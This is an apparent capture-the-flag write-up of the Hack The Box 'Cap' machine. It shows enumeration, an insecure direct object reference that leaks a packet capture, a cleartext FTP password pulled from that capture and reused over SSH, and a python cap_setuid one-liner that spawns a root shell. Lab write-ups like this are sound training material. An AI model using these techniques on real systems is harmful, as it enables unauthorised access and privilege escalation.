Cap Writeup

10 September 2022 #CTF #HTB #box #easy #linux

Cap info

Enumeration

Nothing better than an nmap scan to get going:

$ sudo nmap -F -sC -sV -oN enum/cap.nmap 10.10.10.245
[...]
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Thu, 25 Aug 2022 10:47:49 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
[...]
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Thu, 25 Aug 2022 10:47:44 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
[...]
|_http-title: Security Dashboard
|_http-server-header: gunicorn
[...]

HTTP

There is a basic network monitoring app

index of website

By clicking 'Security Snapshot' on the left menu, the web app hangs for a few seconds then displays some information:

capture data

While the page hangs, it seems it is actually capturing network traffic. (We didn't do anything during the capture, that's why no packets were captured)

The URL of this page is /data/1. What if we can access other pages by modifying the number? Let's say /data/0:

other capture data

Looks like we can! Let's click the 'Download' button and get the pcap file.

Foothold

pcap files contain packet data that is captured with tools like tcpdump or wireshark, and can be read with such tools:

$ tcpdump -tqnAr 0.pcap
[...]
s...USER nathan
[...]
J...PASS Buck3tH4TF0RM3!

The password for the 'nathan' user was captured when loggin in to FTP.

$ ftp nathan@10.10.10.245
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
drwxr-xr-x    3 1001     1001         4096 May 27  2021 .
drwxr-xr-x    3 0        0            4096 May 23  2021 ..
lrwxrwxrwx    1 0        0               9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23  2021 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27  2021 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Aug 28 11:44 user.txt

Except for the user.txt there are no interesting files... But we know there is SSH as well, and password reuse is very common, so let's give it a try:

$ ssh nathan@10.10.10.245
[...]
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$

And we are in!

Privesc

First, let's check the web app to see if we find something interesting.

In /var/www/html there is the web app, written in python:

nathan@cap:~$ ls /var/www/html
__pycache__  app.py  static  templates  upload

It uses Flask and this capture method looks fishy:

@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
    get_lock()
    pcapid = get_appid()
    increment_appid()
    release_lock()

    path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
    ip = request.remote_addr
    # permissions issues with gunicorn and threads. hacky solution for now.
    #os.setuid(0)
    #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
    command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
    os.system(command)
    #os.setuid(1000)

    return redirect("/data/" + str(pcapid))

It is calling os.system to execute tcpdump as root with os.setuid(0).

We can check if there is a setuid capability on the python binary with the getcap command:

nathan@cap:~$ getcap -r /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

(It won't work with /usr/bin/python3 because it is a symlink to /usr/bin/pyton3.8)

Indeed, there is. That means we can become root pretty easily:

nathan@cap:~$ python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Boom.

Key Takeaways